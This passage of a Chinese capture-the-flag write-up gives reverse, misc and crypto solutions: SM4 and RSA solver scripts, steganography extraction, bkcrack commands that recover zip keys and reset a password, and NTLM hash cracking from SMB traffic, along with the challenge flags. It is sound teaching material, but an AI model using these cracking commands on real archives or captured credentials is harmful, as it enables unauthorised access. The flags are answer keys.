        bytes[3] = (word >> 24) & 0xFF;
    }

    for (int i = 0; i < 4; i++) {
        if (!is_printable(bytes[i]))
            return 0;
    }
    return 1;
}

void get_bytes(uint32_t word, uint8_t *bytes, int endian) {
    if (endian == 0) { // big
        bytes[0] = (word >> 24) & 0xFF;
        bytes[1] = (word >> 16) & 0xFF;
        bytes[2] = (word >> 8) & 0xFF;
        bytes[3] = word & 0xFF;
    } else { // little
        bytes[0] = word & 0xFF;
        bytes[1] = (word >> 8) & 0xFF;
        bytes[2] = (word >> 16) & 0xFF;
        bytes[3] = (word >> 24) & 0xFF;
    }
}

void try_decrypt(uint8_t *cipher, int len) {
    uint32_t *words = static_cast<uint32_t *>(malloc((len / 4 + 1) * sizeof(uint32_t)));
    uint32_t *solutions = static_cast<uint32_t *>(malloc(MAX_SOL * sizeof(uint32_t)));
    char *result = static_cast<char *>(malloc(len + 1));
    char *reversed = static_cast<char *>(malloc(len + 1));
    uint8_t *bytes = static_cast<uint8_t *>(malloc(4 * sizeof(uint8_t)));

    if (!words || !solutions || !result || !reversed || !bytes) {
        printf("Memory allocation failed\n");
        //goto cleanup;
    }

    int word_count = len / 4;

    // Try both input endians
    for (int cin_endian = 0; cin_endian < 2; cin_endian++) {
        // Convert ciphertext bytes to words
        for (int i = 0; i < word_count; i++) {
            if (cin_endian == 0) { // big endian input
                words[i] = (cipher[i*4] << 24) | (cipher[i*4+1] << 16) |
                           (cipher[i*4+2] << 8) | cipher[i*4+3];
            } else { // little endian input
                words[i] = (cipher[i*4+3] << 24) | (cipher[i*4+2] << 16) |
                           (cipher[i*4+1] << 8) | cipher[i*4];
            }
        }

        // Try both output endians
        for (int pout_endian = 0; pout_endian < 2; pout_endian++) {
            int valid = 1;
            int total_len = 0;

            // Try forward order
            for (int i = 0; i < word_count; i++) {
                int sol_count = decrypt_word(words[i], solutions);
                int found = 0;

                for (int j = 0; j < sol_count; j++) {
                    if (is_printable_word(solutions[j], pout_endian)) {
                        get_bytes(solutions[j], bytes, pout_endian);
                        memcpy(result + total_len, bytes, 4);
                        total_len += 4;
                        found = 1;
                        break;
                    }
                }

                if (!found) {
                    valid = 0;
                    break;
                }
            }

            if (valid) {
                result[total_len] = '\0';
                printf("Found possible flag (forward, input_endian=%s, output_endian=%s):\n%s\n",
                       cin_endian ? "little" : "big",
                       pout_endian ? "little" : "big",
                       result);
            }

            // Try reversed order
            valid = 1;
            total_len = 0;
            for (int i = word_count - 1; i >= 0; i--) {
                int sol_count = decrypt_word(words[i], solutions);
                int found = 0;

                for (int j = 0; j < sol_count; j++) {
                    if (is_printable_word(solutions[j], pout_endian)) {
                        get_bytes(solutions[j], bytes, pout_endian);
                        memcpy(reversed + total_len, bytes, 4);
                        total_len += 4;
                        found = 1;
                        break;
                    }
                }

                if (!found) {
                    valid = 0;
                    break;
                }
            }

            if (valid) {
                reversed[total_len] = '\0';
                printf("Found possible flag (reversed, input_endian=%s, output_endian=%s):\n%s\n",
                       cin_endian ? "little" : "big",
                       pout_endian ? "little" : "big",
                       reversed);
            }
        }
    }

    cleanup:
    free(words);
    free(solutions);
    free(result);
    free(reversed);
    free(bytes);
}

int main() {
    uint8_t cipher[] = {
            0x21,0x7A,0x01,0x1C,
            0x33,0xD3,0x3E,0xF7,
            0x03,0x78,0x25,0x5E,
            0x2F,0xB8,0x8B,0x3B,
            0x93,0x84,0xAE,0x5B,
            0xDE,0xA5,0xD6,0xE9,
    };

    try_decrypt(cipher, sizeof(cipher));
    return 0;
}

img

flag{Fl0weRTeAVM15E3s9!}

题目名称 medddgo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
# SM4 CTF 逆向题目完整解密脚本
# 包含密钥变换逻辑

SBOX = [
0xd6,0x90,0xe9,0xfe,0xcc,0xe1,0x3d,0xb7,0x16,0xb6,0x14,0xc2,0x28,0xfb,0x2c,0x05,
0x2b,0x67,0x9a,0x76,0x2a,0xbe,0x04,0xc3,0xaa,0x44,0x13,0x26,0x49,0x86,0x06,0x99,
0x9c,0x42,0x50,0xf4,0x91,0xef,0x98,0x7a,0x33,0x54,0x0b,0x43,0xed,0xcf,0xac,0x62,
0xe4,0xb3,0x1c,0xa9,0xc9,0x08,0xe8,0x95,0x80,0xdf,0x94,0xfa,0x75,0x8f,0x3f,0xa6,
0x47,0x07,0xa7,0xfc,0xf3,0x73,0x17,0xba,0x83,0x59,0x3c,0x19,0xe6,0x85,0x4f,0xa8,
0x68,0x6b,0x81,0xb2,0x71,0x64,0xda,0x8b,0xf8,0xeb,0x0f,0x4b,0x70,0x56,0x9d,0x35,
0x1e,0x24,0x0e,0x5e,0x63,0x58,0xd1,0xa2,0x25,0x22,0x7c,0x3b,0x01,0x21,0x78,0x87,
0xd4,0x00,0x46,0x57,0x9f,0xd3,0x27,0x52,0x4c,0x36,0x02,0xe7,0xa0,0xc4,0xc8,0x9e,
0xea,0xbf,0x8a,0xd2,0x40,0xc7,0x38,0xb5,0xa3,0xf7,0xf2,0xce,0xf9,0x61,0x15,0xa1,
0xe0,0xae,0x5d,0xa4,0x9b,0x34,0x1a,0x55,0xad,0x93,0x32,0x30,0xf5,0x8c,0xb1,0xe3,
0x1d,0xf6,0xe2,0x2e,0x82,0x66,0xca,0x60,0xc0,0x29,0x23,0xab,0x0d,0x53,0x4e,0x6f,
0xd5,0xdb,0x37,0x45,0xde,0xfd,0x8e,0x2f,0x03,0xff,0x6a,0x72,0x6d,0x6c,0x5b,0x51,
0x8d,0x1b,0xaf,0x92,0xbb,0xdd,0xbc,0x7f,0x11,0xd9,0x5c,0x41,0x1f,0x10,0x5a,0xd8,
0x0a,0xc1,0x31,0x88,0xa5,0xcd,0x7b,0xbd,0x2d,0x74,0xd0,0x12,0xb8,0xe5,0xb4,0xb0,
0x89,0x69,0x97,0x4a,0x0c,0x96,0x77,0x7e,0x65,0xb9,0xf1,0x09,0xc5,0x6e,0xc6,0x84,
0x18,0xf0,0x7d,0xec,0x3a,0xdc,0x4d,0x20,0x79,0xee,0x5f,0x3e,0xd7,0xcb,0x39,0x48
]

# SM4 CK常量
CK = [
    0x00070e15, 0x1c232a31, 0x383f464d, 0x545b6269,
    0x70777e85, 0x8c939aa1, 0xa8afb6bd, 0xc4cbd2d9,
    0xe0e7eef5, 0xfc030a11, 0x181f262d, 0x343b4249,
    0x50575e65, 0x6c737a81, 0x888f969d, 0xa4abb2b9,
    0xc0c7ced5, 0xdce3eaf1, 0xf8ff060d, 0x141b2229,
    0x30373e45, 0x4c535a61, 0x686f767d, 0x848b9299,
    0xa0a7aeb5, 0xbcc3cad1, 0xd8dfe6ed, 0xf4fb0209,
    0x10171e25, 0x2c333a41, 0x484f565d, 0x646b7279
]

# 修改后的FK (FK ^ FK2)
FK = [
    0xa3b1bac6 ^ 0xa5a5a5a5,  # 0x06141f63
    0x56aa3350 ^ 0x3c3c3c3c,  # 0x6a960f6c  
    0x677d9197 ^ 0x5a5a5a5a,  # 0x3d27cbcd
    0xb27022dc ^ 0xc3c3c3c3   # 0x71b3e11f
]

def rol(x, n):
    return ((x << n) | (x >> (32 - n))) & 0xffffffff

def rol8(x, n):
    """8位循环左移"""
    return ((x << n) | (x >> (8 - n))) & 0xff

def tau(x):
    return (
        (SBOX[(x >> 24) & 0xff] << 24) |
        (SBOX[(x >> 16) & 0xff] << 16) |
        (SBOX[(x >> 8)  & 0xff] << 8)  |
        (SBOX[x & 0xff])
    )

def L(x):
    return x ^ rol(x,2) ^ rol(x,10) ^ rol(x,18) ^ rol(x,24)

def L_prime(x):
    """密钥扩展用的线性变换"""
    return x ^ rol(x,13) ^ rol(x,23)

def transform_key(original_key):
    """
    模拟 sub_7FF6A5912F60 的密钥变换
    原始密钥16字节 -> 变换后密钥16字节
    
    反编译代码：
    for ( i = 0; i < 16; ++i )
        *((_BYTE *)&v4 + i) = __ROL1__(byte_7FF6A5A6E2E0[(5 * (_BYTE)i + 3) & 0xF], 1) ^ (11 * i) ^ 0xA5;
    for ( result = 0; result < 3; ++result )
    {
        for ( j = 0; j < 16; ++j )
            *((_BYTE *)&v4 + j) ^= 17 * result
                + *((_BYTE *)&v4 + (((_DWORD)j + 1) & 0xF))
                + *((_BYTE *)&v4 + (((_BYTE)j + 5) & 0xF));
    }
    """
    key = list(original_key)
    v4 = [0] * 16
    
    # 第一轮变换
    for i in range(16):
        idx = (5 * i + 3) & 0xF
        v4[i] = (rol8(key[idx], 1) ^ (11 * i) ^ 0xA5) & 0xff
    
    # 三轮混合变换 - 注意：这是原地修改！
    # v4[j] ^= 17*r + v4[(j+1)&0xF] + v4[(j+5)&0xF]
    for r in range(3):
        for j in range(16):
            v4[j] = (v4[j] ^ ((17 * r + v4[(j + 1) & 0xF] + v4[(j + 5) & 0xF]) & 0xff)) & 0xff
    
    return bytes(v4)

def key_expansion(key):
    """SM4密钥扩展 (使用修改后的FK)"""
    MK = [int.from_bytes(key[i:i+4], 'big') for i in range(0, 16, 4)]
    K = [0] * 36
    
    for i in range(4):
        K[i] = MK[i] ^ FK[i]
    
    rk = []
    for i in range(32):
        tmp = K[i+1] ^ K[i+2] ^ K[i+3] ^ CK[i]
        K[i+4] = K[i] ^ L_prime(tau(tmp))
        rk.append(K[i+4])
    
    return rk

def sm4_decrypt_block(cipher, rk):
    """SM4单块解密"""
    X = [int.from_bytes(cipher[i:i+4], 'big') for i in range(0, 16, 4)]
    
    # 解密使用逆序轮密钥
    rk = rk[::-1]
    
    for i in range(32):
        t = X[i+1] ^ X[i+2] ^ X[i+3] ^ rk[i]
        X.append(X[i] ^ L(tau(t)))
    
    out = [X[35], X[34], X[33], X[32]]
    return b''.join(x.to_bytes(4, 'big') for x in out)

def sm4_decrypt(ciphertext, key):
    """SM4 ECB模式解密"""
    rk = key_expansion(key)
    plaintext = b''
    
    for i in range(0, len(ciphertext), 16):
        block = ciphertext[i:i+16]
        plaintext += sm4_decrypt_block(block, rk)
    
    return plaintext

def key_expansion_verbose(key):
    """
    SM4密钥扩展 - 详细版本，展示完整构建过程
    """
    print("=" * 60)
    print("【步骤3】SM4 密钥扩展 - 生成32个轮密钥 rk")
    print("=" * 60)
    
    # 将16字节密钥分成4个32位字 (大端序)
    MK = [int.from_bytes(key[i:i+4], 'big') for i in range(0, 16, 4)]
    print(f"\n将变换后密钥分成4个32位字 MK (大端序):")
    for i, mk in enumerate(MK):
        print(f"  MK[{i}] = 0x{mk:08X}")
    
    # 显示修改后的FK
    print(f"\n修改后的 FK 常量 (标准FK ^ XOR掩码):")
    print(f"  标准FK:   [0xA3B1BAC6, 0x56AA3350, 0x677D9197, 0xB27022DC]")
    print(f"  XOR掩码:  [0xA5A5A5A5, 0x3C3C3C3C, 0x5A5A5A5A, 0xC3C3C3C3]")
    for i, fk in enumerate(FK):
        print(f"  FK[{i}] = 0x{fk:08X}")
    
    # 初始化 K[0..3] = MK[0..3] ^ FK[0..3]
    K = [0] * 36
    print(f"\n初始化 K[0..3] = MK[0..3] ^ FK[0..3]:")
    for i in range(4):
        K[i] = MK[i] ^ FK[i]
        print(f"  K[{i}] = MK[{i}] ^ FK[{i}] = 0x{MK[i]:08X} ^ 0x{FK[i]:08X} = 0x{K[i]:08X}")
    
    # 生成32个轮密钥
    print(f"\n迭代生成32个轮密钥 rk[0..31]:")
    print(f"公式: rk[i] = K[i+4] = K[i] ^ L'(τ(K[i+1] ^ K[i+2] ^ K[i+3] ^ CK[i]))")
    print(f"其中: τ = S-box替换, L'(x) = x ^ ROL(x,13) ^ ROL(x,23)")
    print()
    
    rk = []
    for i in range(32):
        tmp = K[i+1] ^ K[i+2] ^ K[i+3] ^ CK[i]
        tau_result = tau(tmp)
        lprime_result = L_prime(tau_result)
        K[i+4] = K[i] ^ lprime_result
        rk.append(K[i+4])
        
        if i < 4 or i >= 28:  # 只显示前4个和后4个
            print(f"  rk[{i:2d}] = K[{i}] ^ L'(τ(K[{i+1}]^K[{i+2}]^K[{i+3}]^CK[{i}]))")
            print(f"        = 0x{K[i]:08X} ^ L'(τ(0x{tmp:08X}))")
            print(f"        = 0x{K[i]:08X} ^ L'(0x{tau_result:08X})")
            print(f"        = 0x{K[i]:08X} ^ 0x{lprime_result:08X}")
            print(f"        = 0x{K[i+4]:08X}")
        elif i == 4:
            print(f"  ... (省略中间24个轮密钥的计算过程) ...")
    
    print(f"\n最终生成的32个轮密钥 rk:")
    print("rk = [")
    for i in range(0, 32, 4):
        line = ", ".join(f"0x{rk[i+j]:08X}" for j in range(4))
        print(f"    {line},  # rk[{i:2d}-{i+3:2d}]")
    print("]")
    
    return rk

# ============= 主程序 =============
if __name__ == "__main__":
    print("=" * 60)
    print("SM4 CTF 逆向题目 - 完整解密过程")
    print("=" * 60)
    
    # ========== 步骤1: 原始密钥 ==========
    print("\n" + "=" * 60)
    print("【步骤1】提取原始密钥")
    print("=" * 60)
    print("从IDA分析二进制文件，在地址 0x7FF6A5A193B0 处提取16字节密钥:")
    
    original_key = bytes.fromhex('1023456789abcdef013579bdf0224466')
    print(f"  原始密钥 (hex): {original_key.hex()}")
    print(f"  原始密钥 (bytes): {list(original_key)}")
    
    # ========== 步骤2: 密钥变换 ==========
    print("\n" + "=" * 60)
    print("【步骤2】密钥变换 (sub_7FF6A5912F60)")
    print("=" * 60)
    print("程序对原始密钥进行自定义变换:")
    print()
    print("第一步 - 重排 + ROL1 + XOR:")
    print("  for i in range(16):")
    print("      idx = (5 * i + 3) & 0xF")
    print("      v4[i] = ROL1(key[idx], 1) ^ (11 * i) ^ 0xA5")
    print()
    print("第二步 - 3轮混合变换:")
    print("  for r in range(3):")
    print("      for j in range(16):")
    print("          v4[j] ^= (17*r + v4[(j+1)&0xF] + v4[(j+5)&0xF]) & 0xFF")
    
    transformed_key = transform_key(original_key)
    print(f"\n  变换前: {original_key.hex()}")
    print(f"  变换后: {transformed_key.hex()}")
    
    # ========== 步骤3: SM4密钥扩展 ==========
    print()
    rk = key_expansion_verbose(transformed_key)
    
    # ========== 步骤4: 解密 ==========
    print("\n" + "=" * 60)
    print("【步骤4】SM4 解密")
    print("=" * 60)
    
    ciphertext = bytes.fromhex('fc66b270e8874c9d734ecd5b766aa5896dda6cc5349d5f3b44b54aaf5ef9ce49')
    print(f"密文 (32字节): {ciphertext.hex()}")
    print(f"  Block 1: {ciphertext[:16].hex()}")
    print(f"  Block 2: {ciphertext[16:].hex()}")
    
    print(f"\n解密使用逆序轮密钥: rk[::-1]")
    print(f"  rk[31] -> rk[30] -> ... -> rk[1] -> rk[0]")
    
    # 使用生成的轮密钥解密
    plain1 = sm4_decrypt_block(ciphertext[:16], rk)
    plain2 = sm4_decrypt_block(ciphertext[16:], rk)
    plaintext = plain1 + plain2
    
    print(f"\n解密结果:")
    print(f"  明文 (hex): {plaintext.hex()}")
    print(f"  明文 (ascii): {plaintext.decode('utf-8')}")
    
    # ========== 最终Flag ==========
    print("\n" + "=" * 60)
    print("【最终结果】")
    print("=" * 60)
    flag_content = plaintext.decode('utf-8')
    print(f"\n  FLAG: flag{{{flag_content}}}")
    print()
    print("=" * 60)

img

flag{12d8b17b8ae52636a1211299451f9f6c}

Misc

题目名称 pcb5-BLUE

img

蓝色通道全选发现压缩包格式，但是得隔着提取，先保存为extracted.bin

然后脚本提取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import os

def process_file(input_path, output_path):
    if not os.path.exists(input_path):
        print(f"Error: File {input_path} not found.")
        return

    try:
        with open(input_path, 'rb') as f_in, open(output_path, 'wb') as f_out:
            data = f_in.read()
            output_bytes = bytearray()
            
            for i in range(0, len(data), 2):
                if i + 1 < len(data):
                    byte1 = data[i]
                    byte2 = data[i+1]
                    
                    nibble1 = (byte1 & 0xF0) >> 4
                    nibble2 = (byte2 & 0xF0) >> 4
                    

                    new_byte = (nibble1 << 4) | nibble2
                    output_bytes.append(new_byte)
            
            f_out.write(output_bytes)
            print(f"Successfully processed {len(data)} bytes.")
            print(f"Extracted {len(output_bytes)} bytes to {output_path}")
            
    except Exception as e:
        print(f"An error occurred: {e}")

if __name__ == "__main__":

    input_file = 'extracted.bin'
    output_file = 'output.zip'
    
    print(f"Processing {input_file} -> {output_file}...")
    process_file(input_file, output_file)

img

明文攻击

img

得到压缩包，解压获得两张图片

img

这蓝底条纹一看就是双图盲水印xor后的结果

再次xor获得图片xor.png

img

双图盲水印提取

img

img

题目名称 pcb5-zipcracker

zip伪加密，解出来

foremost解图片，拿到flag1.txt和flag2.txt，根据do u know it写还原脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import numpy as np
from scipy.signal import decimate
from scipy.io.wavfile import write

# =========================
# 参数（来自你的 GRC）
# =========================
IQ_RATE = 576_000      # IQ 采样率
AUDIO_RATE = 48_000   # 音频采样率
DECIM = IQ_RATE // AUDIO_RATE  # 12

I_FILE = "flag1.txt"
Q_FILE = "flag2.txt"
OUT_WAV = "output.wav"

# =========================
# 1. 读取 I / Q
# =========================
print("[*] Loading I/Q data...")

I = np.fromfile(I_FILE, dtype=np.float32)
Q = np.fromfile(Q_FILE, dtype=np.float32)

min_len = min(len(I), len(Q))
I = I[:min_len]
Q = Q[:min_len]

iq = I + 1j * Q
print(f"[*] Loaded {len(iq)} IQ samples")

# =========================
# 2. FM 解调（相位差法）
# =========================
print("[*] FM demodulating...")

phase = np.angle(iq)
phase_unwrapped = np.unwrap(phase)
fm_demod = np.diff(phase_unwrapped)

# 补齐长度
fm_demod = np.concatenate([[0], fm_demod])

# =========================
# 3. 降采样到音频率
# =========================
print("[*] Decimating to audio rate...")

audio = decimate(fm_demod, DECIM, ftype='fir')

# =========================
# 4. 去直流 & 归一化
# =========================
audio -= np.mean(audio)
audio /= np.max(np.abs(audio)) + 1e-9

# =========================
# 5. 保存 WAV
# =========================
print("[*] Writing WAV file...")

write(OUT_WAV, AUDIO_RATE, audio.astype(np.float32))

print("[+] Done! Output saved as:", OUT_WAV)

还原wav后，是个摩斯密码，手搓一下

img

解开flag.zip，flag.txt里面只有部分flag，明文攻击

1
bkcrack.exe -C flag.zip -c flag.txt -p plain.txt -x 25 2121217d

改密码

1
bkcrack.exe -C flag.zip -k 33b19021 93c4a78d 9ceed931 -U flagnew.zip 123456

拿到flag，解压拿到flag

img

题目名称 pcb5-SMB

先解密NTLM

img

img

密码12megankirwin12

在wireshark解密

img

导出

img

img

exe+store又是明文攻击

img

得到一个letter.exe，每次运行就给一个字符串

img

应该是要逆向一下

直接运行到give you a letter 中，rust的，直接alt+b搜索内存flag

img

题目名称 pcb5-whiteout

这是一个 OCI (Open Container Initiative) 镜像布局文件夹，是 Docker 镜像导出后的格式

先提取文件

1
2
tar -xf c:\Users\FoxxD\Desktop\pcb\whiteout\whiteout\image\blobs\sha256\d53154d4f2499c5c31fdd61d359d2a9a0b9076ac639b102bb913c752f5769cfb -C extraction opt/.data/.logs/syslog.bin
tar -xf c:\Users\FoxxD\Desktop\pcb\whiteout\whiteout\image\blobs\sha256\6ad10b1fede380e2db5571dfe343455d33dd1f07588368ff59ee2a9a826739a9 -C extraction opt/app/decode.py

运行解密即可

img

题目名称 pcb5-The Rogue Beacon

要求找到速度最高值的包序号，我们首先要找到哪一个CAN ID对应速度

汽车里面速度变化是连续的，先提取各CAN ID及其data 

1
tshark -r "The Rogue Beacon.pcapng"  -T fields -e frame.number -e can.id -e data > data.txt

将data.txt放到excel筛选

img

最终找到CAN ID = 580的data是连续平滑变化的

img

稍加翻阅即可找到最大值所在包序号12149

img

img

flag为flag{9db878fd06dd7587a91c0fb600e0e9f7c3ea310e75f36253ef57ac2d92dd8c29}

题目名称 hide

img

lsb有不明所以的信息

尝试发现是steghide的密码

img

img

Crypto

题目名称 pcb5-weak_leak

题目分析

题目给出了一个基于 LCG (Linear Congruential Generator) 的加密系统。

  1. LCG 种子生成: 种子由 6 位数字密码 (password) 和一个固定的 SECRET_VALUE 异或得到。
  2. 序列生成: 使用 LCG 生成一个序列，其中第 9 个元素 seq9 被用于 RSA 的参数生成。
  3. RSA 参数:
    1. n1 = p * (q + 1)
    2. n2 = (p + 1) * q + seq9
    3. cipher_rsa 是 AES 密钥经过掩码处理后的 RSA 密文。
  4. AES 加密: Flag 被 AES 加密，密钥由 aes_key 和 seq9 的哈希值异或得到。

解题思路

  1. 爆破密码: 由于密码只有 6 位数字，且题目给出了 salt 和 hash，我们可以直接爆破出密码。
  2. 恢复 LCG 序列: 有了密码，我们可以计算出 LCG 的种子，进而生成整个序列，得到 seq9。
  3. 分解 RSA:
    1. 已知 n1 = pq + p
    2. 已知 n2 = pq + q + seq9
    3. 两式相减：n1 - n2 = p - q - seq9 => p - q = n1 - n2 + seq9。
    4. 令 diff = p - q。我们知道 n = pq，且 n1 approx n。
    5. 实际上，我们可以利用 p = q + diff 代入 n1 = (q+diff)(q+1) 来解二次方程求 q。
    6. 或者更简单地，n1 - p = pq，n2 - q - seq9 = pq。
    7. n1 - p = n2 - q - seq9 => p - q = n1 - n2 + seq9。
    8. 我们有 p - q 的值，也有 n1 approx pq。
    9. p + q = sqrt((p-q)^2 + 4pq) approx sqrt(diff^2 + 4*n1)。
    10. 有了 p-q 和 p+q，即可解出 p 和 q。
  4. 解密 AES 密钥:
    1. 计算 n = p * q，phi = (p-1)*(q-1)，d = inverse(e, phi)。
    2. 解密 RSA 得到 masked_key_int。
    3. 计算 mask_bytes = sha256(str(seq9)).digest()[:16]。
    4. 异或恢复 aes_key。
  5. 解密 Flag: 使用恢复的 aes_key 解密 AES 密文。

img

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
import hashlib
from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse
from Crypto.Cipher import AES
import base64
import math

# Data from the challenge
salt = "f62b3e49c1f05d1c"
target_hash = "a0bcbfda9bd2f0364c6f4ad0f996465bec0da2de8cd51ee11c9c883b47779cc4"
n1 = 5584300989285538211153365890789627571870624311506728764237201442331520767215704903718501881100700113185783404202199758018541582967691088869854375384182438
n2 = 5584300989285538211153365890789627571870624311506728764237201442331520767215684679677759040755449786845864086748368453212978360679736956915595159857669375
cipher_rsa = 4516247026166659285144948330256302160375394741001987438893860039618683568332625137344822301939534363324551681121344467717871483193109869787946141254659256
iv_b64 = "G+Mn2WPXhRztrDdD8m+1gw=="
ct_b64 = "j9mUOuK2iz9ZHZor8BcsXNFhFRGzkw1x4a5T1GzaYJJ8VhHj+7jN0Id47fcxw/7F"

# Constants
e = 65537
LCG_A, LCG_B, LCG_MOD = 1103515245, 12345, 10007
SECRET_VALUE = 1234

# 1. Brute-force password
print("Brute-forcing password...")
password = None
for i in range(1000000):
    pwd = f"{i:06d}"
    h = hashlib.sha256((salt + pwd).encode()).hexdigest()
    if h == target_hash:
        password = pwd
        print(f"Found password: {password}")
        break

if not password:
    print("Password not found!")
    exit()

# 2. Generate sequence and get seq9
def gen_seq(seed,a,b,m,length):
    seq=[seed % m]
    for _ in range(length-1):
        nxt=(a*seq[-1]+b) % m
        nxt ^= (seq[-1] & 0xff)
        seq.append(nxt)
    return seq

lcg_seed = (int(password) ^ SECRET_VALUE) % LCG_MOD
seq = gen_seq(lcg_seed, LCG_A, LCG_B, LCG_MOD, 15)
seq9 = seq[9]
print(f"seq9: {seq9}")

# 3. Solve for p
# p^2 + p(n2 - n1 - seq9 + 1) - n1 = 0
B = n2 - n1 - seq9 + 1
C = -n1

# Using integer square root for large numbers
delta = B*B - 4*C
sqrt_delta = math.isqrt(delta)

if sqrt_delta * sqrt_delta != delta:
    print("Delta is not a perfect square!")
    # It might be due to precision if using float, but math.isqrt is integer.
    # Let's check if I derived the equation correctly.
    # n1 = p(q+1) => q = n1/p - 1
    # n2 = p*q + q + seq9
    # n2 = p(n1/p - 1) + (n1/p - 1) + seq9
    # n2 = n1 - p + n1/p - 1 + seq9
    # n2 - n1 + 1 - seq9 = -p + n1/p
    # Let K = n2 - n1 + 1 - seq9
    # K = (n1 - p^2) / p
    # p*K = n1 - p^2
    # p^2 + K*p - n1 = 0
    # So B = K = n2 - n1 + 1 - seq9.
    # C = -n1.
    # Yes, it matches.
    pass

p1 = (-B + sqrt_delta) // 2
p2 = (-B - sqrt_delta) // 2

p = p1 if p1 > 0 else p2
print(f"Found p: {p}")

# 4. Calculate q and n
q = (n1 // p) - 1
n = p * q
print(f"Found q: {q}")
print(f"n: {n}")

# 5. Decrypt RSA
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
masked_key_int = pow(cipher_rsa, d, n)

# 6. Recover AES key
mask_bytes = hashlib.sha256(str(seq9).encode()).digest()[:16]
aes_key_int = masked_key_int ^ bytes_to_long(mask_bytes)
aes_key = long_to_bytes(aes_key_int)
# Ensure key is 16 bytes (pad with nulls if needed, though bytes_to_long should handle it, long_to_bytes might need length)
if len(aes_key) < 16:
    aes_key = b'\x00' * (16 - len(aes_key)) + aes_key
print(f"AES Key: {aes_key.hex()}")

# 7. Decrypt Flag
iv = base64.b64decode(iv_b64)
ct = base64.b64decode(ct_b64)
cipher = AES.new(aes_key, AES.MODE_CBC, iv)
try:
    pt = cipher.decrypt(ct)
    # Remove padding
    pad_len = pt[-1]
    flag = pt[:-pad_len]
    print(f"Flag: {flag.decode()}")
except Exception as e:
    print(f"Decryption failed: {e}")
    print(f"Raw PT: {pt}")

题目名称 pcb5-babyRSA

题目分析

题目给出了 RSA 的密文 c 和一个泄露值 leak。 leak 的计算公式为：leak = (3*P*P - 1) / (3*P*Q)。 其中 P 和 Q 是 decimal.Decimal 类型的高精度浮点数。 此外，题目虽然隐藏了 e，但在解题脚本中暗示了 d 是已知的（或者可以通过某种方式获得，实际上本题 d 是直接给出的）。

解题思路

  1. 利用 d 和 e 的关系: RSA 中满足 e * d = 1 + k * phi。 虽然 e 未知，但通常较小（如 3, 65537 等）。我们可以枚举 e，进而枚举 k (1 到 e)。 对于每一对 (e, k)，我们可以计算出候选的 phi = (e * d - 1) // k。
  2. 推导 P 的方程: 已知 leak = (3P^2 - 1) / (3PQ)，可得 Q = (3P^2 - 1) / (3 * leak * P)。 已知 phi = (P-1)(Q-1) = PQ - P - Q + 1。 将 Q 的表达式代入 phi 的公式中，消去 Q，可以得到一个关于 P 的一元三次方程： 3P^3 - (3*leak + 3)P^2 + (1 + 3*leak - 3*leak*phi)P + 1 = 0 （注：具体系数取决于公式推导细节，核心是构建关于 P 的多项式）。
  3. 求解 P: 由于 P 非常大（1024位），直接求根公式可能不适用精度问题。 利用牛顿迭代法（Newton’s Method），以 sqrt(phi * leak) 作为初始值（因为 leak approx P/Q，phi approx P*Q，所以 P approx sqrt(phi * leak)），快速逼近 P 的数值解。
  4. 验证与解密:
    1. 求出 P 后，验证 P-1 是否整除 phi。
    2. 计算 Q = phi // (P-1) + 1。
    3. 计算 N = P * Q。
    4. 使用私钥 d 和模数 N 解密密文 c：m = pow(c, d, N)。
    5. 检查解密结果是否包含 “flag” 字样，若包含则成功。

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
import decimal
from Crypto.Util.number import long_to_bytes

# Set precision high enough
decimal.getcontext().prec = 4096

# Data
leak_str = "1.396995694831414203476063690838730308815841662737318558906107823553922718340982125801595368449608188770051881765292978548960520326036779130167518285237817101541807766017642530065080930654694948943506714268685400709580398894902693407016988670394423892586264077247263710263220932577837642377245651448838665854362532801659965471421937839336237670710012298796758992931116659292915200628873553198226185187089027680973673618973869464164460226697625936493428822424637497370197316811245879504779934098600596822159243994319583651080005054538419168988020562590543262648544970376255020489363894055887067948343768399654357738592577280906555896933717091837896978973488220368081406433117367524537063718421897982643644320078600517763936883820416362057895941185749296170109172249907094176821124345672294602380784325702476105763209165109703429326132417850746805701054961710623030742187505484821961670922386999933202645522248608323217011522889282323071281405301772218220381951540118124201599862330377374571641729649420917168701463539034702411"
